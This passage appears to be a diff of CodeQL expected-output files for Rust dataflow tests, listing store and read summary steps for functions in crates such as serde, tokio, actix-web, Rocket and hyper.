repo:https://github.com/serde-rs/serde:serde::_::::visit_borrowed_str | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::::visit_borrowed_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/serde-rs/serde:serde::_::::visit_string | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/servo/rust-url:url::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/servo/rust-url:url::_::::parse | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::<&[u8] as crate::io::async_buf_read::AsyncBufRead>::poll_fill_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::try_io | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait_timeout | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait_timeout | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::finish_string_read | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_line::read_line_internal | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_to_end::read_to_end_internal | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::io::util::read_until::read_until_internal | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::budget | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::crate::runtime::context::budget | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:alloc::_::::search_tree_for_bifurcation | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:alloc::_::::search_tree_for_bifurcation | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:core::_::::extend | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::extend | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:core::_::::repeat | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::repeat | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::::wait_timeout | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::::wait_timeout_ms | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_ms | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in lang:std::_::::wait_timeout_while | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_while | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[0] in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait_timeout | tuple.0 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/tokio-rs/tokio:tokio::_::::wait_timeout | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[1] in repo::serde_test_suite::_::::variant_seed | tuple.1 | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo::serde_test_suite::_::::variant_seed | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in lang:core::_::::transpose | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::transpose | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::option::Option::Some(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | Some | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/seanmonstar/reqwest:reqwest::_::::chunk | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in lang:core::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)].Reference in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in repo:https://github.com/matklad/once_cell:once_cell::_::::try_insert | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:alloc::_::::borrow_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | @@ -1235,6 +1405,71 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_inner_mut | | file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in lang:std::_::::as_file_desc | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::as_file_desc | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::get | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::get | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo::serde_test_suite::_::::second | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo::serde_test_suite::_::::second | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-files::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-files::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-router::_::<_ as crate::resource_path::Resource>::resource_path | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::as_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:actix-web::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/actix/actix-web:awc::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/actix/actix-web:awc::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_styled_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/clap-rs/clap:clap_builder::_::::as_internal_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/hyperium/hyper:hyper::_::::as_bytes | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rust-random/rand:rand_chacha::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates::_::::context | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::as_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::file | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::file | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::file_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket::_::::inner | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_codegen::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::media_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::from_source | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::borrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::as_str | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/rwf2/Rocket:rocket_http::_::::deref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio-util::_::::as_ref | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Reference in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue in repo:https://github.com/tokio-rs/tokio:tokio::_::::as_inner_mut | | main.rs:97:14:97:22 | source(...) | tuple.0 | main.rs:97:13:97:26 | TupleExpr | | main.rs:97:25:97:25 | 2 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | | main.rs:103:14:103:14 | 2 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | @@ -1421,8 +1656,96 @@ readStep | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::sys_common::ignore_notfound | Err | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::result::Result::Err(0)] in lang:std::_::crate::sys_common::ignore_notfound | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::thread::current::try_with_current | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::thread::current::try_with_current | | file://:0:0:0:0 | [summary param] 0 in lang:std::_::crate::thread::with_current_name | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in lang:std::_::crate::thread::with_current_name | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::::count | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/BurntSushi/memchr:memchr::_::::count | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::count_byte_by_byte | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::arch::generic::memchr::fwd_byte_by_byte | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::prefix_is_substring | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | element | file://:0:0:0:0 | [summary] read: Argument[0].Element in repo:https://github.com/BurntSushi/memchr:memchr::_::crate::tests::substring::prop::suffix_is_substring | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/actix/actix-web:actix-http::_::::with_pool | function return | file://:0:0:0:0 | [summary] read: Argument[0].ReturnValue in repo:https://github.com/actix/actix-web:actix-http::_::::with_pool | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | &ref | file://:0:0:0:0 | [summary] read: Argument[0].Reference in repo:https://github.com/clap-rs/clap:clap_builder::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/hyperium/hyper:hyper::_::::from | Some | file://:0:0:0:0 | [summary] read: Argument[0].Field[crate::option::Option::Some(0)] in repo:https://github.com/hyperium/hyper:hyper::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/hyperium/hyper:hyper::_::::from | tuple.0 | file://:0:0:0:0 | [summary] read: Argument[0].Field[0] in repo:https://github.com/hyperium/hyper:hyper::_::::from | +| file://:0:0:0:0 | [summary param] 0 in repo:https://github.com/hyperium/hyper:hyper::_::::recv_msg | Err | file://:0:0:0:0 | [summary] read: 